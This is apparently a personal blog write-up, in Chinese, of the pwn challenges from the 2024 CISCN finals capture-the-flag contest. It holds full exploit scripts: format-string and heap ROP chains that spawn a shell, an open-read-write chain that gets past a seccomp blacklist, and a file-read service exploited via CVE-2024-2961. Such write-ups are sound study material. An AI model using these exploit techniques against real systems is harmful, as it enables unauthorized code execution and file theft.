2024 CISCN决赛 pwn wp

o4赢!可惜没有排行榜截图QAQ

awdp web和pwn都没打好但可信上大分的一集

anime

思路

格式化字符串,思路“隔山打牛”

一些自我反省:)

这题比赛的时候就出了,写在这里只是为了自我反省一下(

某次比赛的时候做过这种思路的题,一时没想起来,感觉我需要本地搭个知识库之类的东西…记忆力太差了,很简单的一道题耗时太多,后面没时间了不然感觉ezheap也能出

另外最近思维有点僵,状态有点类似刚升高三的时候,corCTF也是一个格式化字符串,思路正确转个弯就有一个更快的方法,硬是没想到,Tplus说的时候我快气死了……我怎么可以想不到,之前RW的时候也有类似的情况

评价是最近还是脑子动少了,写前端写的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
from aeslc import *

def getstr(content):
key=b'\x7b\xf3\x5c\xd6\x9c\x47\x5d\x5e\x6f\x1d\x7a\x23\x18\x7b\xf9\x34'
aes=AES(key=key)
enc=content
dec=aes.AES_encrypt("AES_ECB",enc)
return dec

p=remote('39.106.48.123',26563)
#p=process('./pwn')
#payload=b'a'*8+b'\x60\x80'
payload=b'a'
p.sendafter(b'linsir want to know your name\n',payload)
p.sendafter(b'what\'s your favourite anime: ',getstr(b'%15$p%17$p%11$p\xff'))
p.recvuntil(b'0x')
libcbase=int(p.recvuntil(b'0x')[:-2],16)-0x24083
stack=int(p.recvuntil(b'0x')[:-2],16)
pie=int(p.recvuntil(b'\xff')[:-1],16)-0x11e0
print(hex(libcbase))
print(hex(stack))
print(hex(pie))
payload=b'%'+str((stack-0x124)&0xffff).encode()+b'c'+b'%6$hn'
p.sendafter(b'anime: ',getstr(payload))
payload=b'%30c%45$hhn'
p.sendafter(b'anime: ',getstr(payload))
#payload=b'%'+str((stack-0x118)&0xffff).encode()+b'c'+b'%6hn'
#p.sendafter(b'anime: ',getstr(payload))
def hack(addr,value):
for i in range(3):
payload=b'%'+str((addr+i*2)&0xffff).encode()+b'c'+b'%6$hn'
p.sendafter(b'anime: ',getstr(payload))
payload=b'%'+str((value>>(16*i))&0xffff).encode()+b'c'+b'%45$hn'
p.sendafter(b'anime: ',getstr(payload))

rdi=0x0000000000023b6a+libcbase
libc=ELF('./libc.so.6')
binsh=libcbase+next(libc.search(b'/bin/sh\x00'))
ret=libcbase+0x0000000000022679
system=libcbase+libc.symbols['system']
hack(stack-0xf0,ret)
hack(stack-0xf0+8,rdi)
hack(stack-0xf0+0x10,binsh)
hack(stack-0xf0+0x18,system)
p.interactive()

ezheap

思路

  • 漏洞点:一个uaf,一个overflow

    做着做着忘了有个overflow,再次佐证wjy最近脑子不好使

  • 交互:有序列化,需要逆一下,赛时觉得时间不够了,靠re手逆了一些后直接开猜,半逆半猜也是把交互问题解决了

    • 有一个比较难搞的问题就是不可见字符,7f以下用unicode,7f以上直接\x就行,这也是试出来的
  • 一些问题:因为序列化堆非常乱,赛时卡泄漏卡到最后,赛后没多久也出了,但堆布局卡的很死,不知道远程会不会有问题

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

def getpack():
pack=b'\xef\xbb\xbf'
return pack

def getmethod(choice,idx,size,mess):
payload=b'{'
payload+=b'"choice":'+choice+b','
payload+=b'"index":'+str(idx).encode()+b','
payload+=b'"length":'+str(size).encode()+b','
payload+=b'"message":"'+mess+b'"}'
return payload

def add(size,mess):
p.sendlineafter(b'Please input:',getmethod(b'"new"',0,size,mess))

def delete(idx):
p.sendlineafter(b'Please input:',getmethod(b'"rm"',idx,10,b'aaa'))

def show(idx):
p.sendlineafter(b'Please input:',getmethod(b'"view"',idx,10,b'aaa'))

def edit(idx,size,content):
p.sendlineafter(b'Please input:',getmethod(b'"modify"',idx,size,content))

def deal(content):
var=b''
for num in content:
if num>=0x80:
var+=num.to_bytes(1,'little')
else:
var+=b'\\u00'+hex(num)[2:].zfill(2).encode()
return var

p=process('./pwn')
add(0x30,b'aaa') #0
p.recvuntil(b'0x')
off0=int(p.recvline()[:-1],16)
add(0x30,b'bbb') #1
add(0x1e0+0x20,b'ccc') #2
add(0x30,b'ddd') #3
off1=int(p.recvline()[:-1],16)
delete(0)
delete(1)
show(1)
p.recvuntil(b'message:')
heap=u64(p.recvline()[:-1].ljust(8,b'\x00'))-(off0&0xfff)
print(hex(heap))
payload=b'\\u0000'*0x38+b'\\u0051\\u0002'+b'\\u0000'*(6+0x240+8)+b'\\u0021\\u000e'+b'\\u0000'*6
edit(0,0x40+0x250,payload)
delete(1)
show(2)
show(2)
show(3)
p.recvuntil(b'message:')
libcbase=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x1ecbe0
print(hex(libcbase))
libc=ELF('./libc.so.6')
edit(1,8,deal(p64(libcbase+0x1eee48)))
add(0x30,b'/bin/sh\\u0000')
add(0x30,deal(p64(libcbase+libc.symbols['system'])))
delete(4)
#gdb.attach(p)
p.interactive()

CHR

思路

  • 这次国赛的主题就是混乱的堆:)

  • 开了沙箱,黑名单,直接orw就行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    $ seccomp-tools dump ./pwn
    line CODE JT JF K
    =================================
    0000: 0x20 0x00 0x00 0x00000004 A = arch
    0001: 0x15 0x00 0x1e 0xc000003e if (A != ARCH_X86_64) goto 0032
    0002: 0x20 0x00 0x00 0x00000000 A = sys_number
    0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
    0004: 0x15 0x00 0x1b 0xffffffff if (A != 0xffffffff) goto 0032
    0005: 0x15 0x1a 0x00 0x00000038 if (A == clone) goto 0032
    0006: 0x15 0x19 0x00 0x00000039 if (A == fork) goto 0032
    0007: 0x15 0x18 0x00 0x0000003a if (A == vfork) goto 0032
    0008: 0x15 0x17 0x00 0x0000003b if (A == execve) goto 0032
    0009: 0x15 0x16 0x00 0x0000003e if (A == kill) goto 0032
    0010: 0x15 0x15 0x00 0x00000052 if (A == rename) goto 0032
    0011: 0x15 0x14 0x00 0x00000054 if (A == rmdir) goto 0032
    0012: 0x15 0x13 0x00 0x00000057 if (A == unlink) goto 0032
    0013: 0x15 0x12 0x00 0x0000005a if (A == chmod) goto 0032
    0014: 0x15 0x11 0x00 0x0000005b if (A == fchmod) goto 0032
    0015: 0x15 0x10 0x00 0x0000005c if (A == chown) goto 0032
    0016: 0x15 0x0f 0x00 0x0000005d if (A == fchown) goto 0032
    0017: 0x15 0x0e 0x00 0x00000065 if (A == ptrace) goto 0032
    0018: 0x15 0x0d 0x00 0x00000069 if (A == setuid) goto 0032
    0019: 0x15 0x0c 0x00 0x0000006a if (A == setgid) goto 0032
    0020: 0x15 0x0b 0x00 0x00000071 if (A == setreuid) goto 0032
    0021: 0x15 0x0a 0x00 0x00000072 if (A == setregid) goto 0032
    0022: 0x15 0x09 0x00 0x00000075 if (A == setresuid) goto 0032
    0023: 0x15 0x08 0x00 0x00000077 if (A == setresgid) goto 0032
    0024: 0x15 0x07 0x00 0x0000009d if (A == prctl) goto 0032
    0025: 0x15 0x06 0x00 0x000000c8 if (A == tkill) goto 0032
    0026: 0x15 0x05 0x00 0x000000ea if (A == tgkill) goto 0032
    0027: 0x15 0x04 0x00 0x00000104 if (A == fchownat) goto 0032
    0028: 0x15 0x03 0x00 0x00000107 if (A == unlinkat) goto 0032
    0029: 0x15 0x02 0x00 0x0000010c if (A == fchmodat) goto 0032
    0030: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0032
    0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW
    0032: 0x06 0x00 0x00 0x00000000 return KILL
  • 漏洞点在convert,convert申请了一个4倍size的chunk但用的还是原来那个

  • 由于是字符集转换猜测使用中文,尝试发现一个中文在转换后会有5字节溢出,可以改next chunk的size

exp

其实挺简单的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def add(size,content):
p.sendlineafter(b'choice >> ',b'1')
p.sendlineafter(b'size:',str(size).encode())
p.sendafter(b'content:',content)

def delete(idx):
p.sendlineafter(b'choice >> ',b'2')
p.sendlineafter(b'idx:',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b'choice >> ',b'3')
p.sendlineafter(b'idx:',str(idx).encode())
p.sendafter(b'content:',content)

def show(idx):
p.sendlineafter(b'choice >> ',b'4')
p.sendlineafter(b'idx:',str(idx).encode())

def convert(idx):
p.sendlineafter(b'choice >> ',b'5')
p.sendlineafter(b'idx:',str(idx).encode())

def exitt():
p.sendlineafter(b'choice >> ',b'6')


p=process('./pwn')
add(0x500,b'a') # 0
add(0x500,b'a') # 1
add(0x290,b'a') # 2
add(0x318,'烫'.encode('utf-8')+b'a'*0x310+b'\x11\x05') # 3
add(0x200,b'a') # 4
add(0x300-0x10,b'a') # 5
add(0x300,b'a') # 6
convert(3)
delete(4)
add(0x500,b'a') # 4
edit(4,b'\x00'*0x200+p64(0)+p64(0xc11))
delete(5)
edit(4,b'a'*0x210)
show(4)
p.recvuntil(b'content:'+b'a'*0x210)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x203b20
print(hex(libcbase))
payload=b'\x00'*0x200+p64(0)+p64(0x41)+p64(libcbase+0x203b20)*2
payload+=b'\x00'*(0x30-0x10)+p64(0x40)+p64(0x20)+b'\x00'*0x18+p64(0x21)
edit(4,payload)
add(0x30,b'a') # 5
add(0x30,b'a') # 7
delete(5)
edit(4,b'a'*0x210)
show(4)
p.recvuntil(b'content:'+b'a'*0x210)
heap=(u64(p.recv(5).ljust(8,b'\x00'))<<12)-0x5000
print(hex(heap))
edit(4,b'a'*0x200+p64(0)+p64(0x41))
add(0x30,b'a') # 5
delete(7)
delete(5)
edit(4,b'a'*0x200+p64(0)+p64(0x41)+p64(((heap+0x5000)>>12)^(libcbase+0x20ad20)))
add(0x30,b'a') # 5
add(0x38,b'a'*0x38) # 7
show(7)
p.recvuntil(b'content:'+b'a'*0x38)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack))
edit(4,b'a'*0x200+p64(0)+p64(0x211)+b'\x00'*0x200+p64(0)+p64(0x21))
add(0x200,b'a') # 8
add(0x200,b'a') # 9
delete(9)
delete(5)
edit(4,b'a'*0x200+p64(0)+p64(0x211)+p64(((heap+0x5000)>>12)^(stack-0x198)))
add(0x200,b'./flag\x00')
libc=ELF('./libc.so.6')
open_addr=libc.symbols['open']+libcbase
read_addr=libc.symbols['read']+libcbase
puts_addr=libc.symbols['puts']+libcbase
ret=libcbase+0x2882f
rdi=libcbase+0x10f75b
rsi=libcbase+0x110a4d
rcx=libcbase+0xa876e
rdx=libcbase+0xab891
rop=b'a'*8+p64(rdi)+p64(heap+0x5a40)+p64(rsi)+p64(0)+p64(open_addr)
rop+=p64(rdi)+p64(3)+p64(rsi)+p64(heap)+p64(rcx)+p64(heap+0x100)+p64(rdx)+p64(0x30)+p64(read_addr)
rop+=p64(rdi)+p64(heap)+p64(puts_addr)
add(0x200,rop)
p.interactive()

PHP

平台开了后看到有个php题火速趁收手机的最后一分钟clone了一份php源码,结果这题看都没看一眼,而且这题有源码也没啥用

思路

赛时提到iconv的时候z神就提到了这个CVE,结果iconv那题不用这个CVE但php题用,z神yyds🐂

  • nginx的配置文件,主要是找端口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    # /etc/nginx/sites-available/default

    server {
    listen 9999 default_server;
    listen [::]:9999 default_server;

    root /var/www/html;

    index index.html;

    server_name _;

    location / {
    try_files $uri $uri/ /index.html;
    }

    location ~ \.php$ {
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
    fastcgi_index index.php;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param PATH_INFO $fastcgi_path_info;
    }
    }
  • 服务,一个文件读取系统

  • data.php,主要注意交互有base64编码和AES加密,还有黑名单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    <?php

    function base64_decode_data($data) {
    return base64_decode($data);
    }

    // AES加密和解密函数
    function aes_encrypt($data, $key) {
    $key = hash('sha256', $key, true);
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    $encrypted = $iv . $encrypted;
    return base64_encode($encrypted);
    }

    function is_blacklisted($path) {
    $blacklist = ['/root', '/home', '/media', '/mnt', '/lib64', '/lib']; // 添加其他黑名单目录
    foreach ($blacklist as $blacklisted_dir) {
    if (strpos(realpath($path), $blacklisted_dir) === 0) {
    return true;
    }
    }
    return false;
    }

    // 获取Base64编码的文件路径并进行Base64解码
    $encoded_file = $_POST['file'];
    $file = base64_decode_data($encoded_file);

    if (is_blacklisted($file)) {
    die('Access to this directory is not allowed.');
    }

    // 获取文件内容
    $data = file_get_contents($file);

    // 加密文件内容
    $key = 'Welcome_to_CISCN_2024_Final'; // Actual key
    $encrypted_data = aes_encrypt($data, $key);

    echo "This is your encrypted file : $encrypted_data";


    ?>
  • 重点来了

    • CVE-2024-2961,有现成的exp,改一下交互和文件获取就可以

    • 贴一张成功截图


2024 CISCN决赛 pwn wp
http://akaieurus.github.io/2024/07/29/2024国赛决赛pwn-wp/
作者
Eurus
发布于
2024年7月29日
许可协议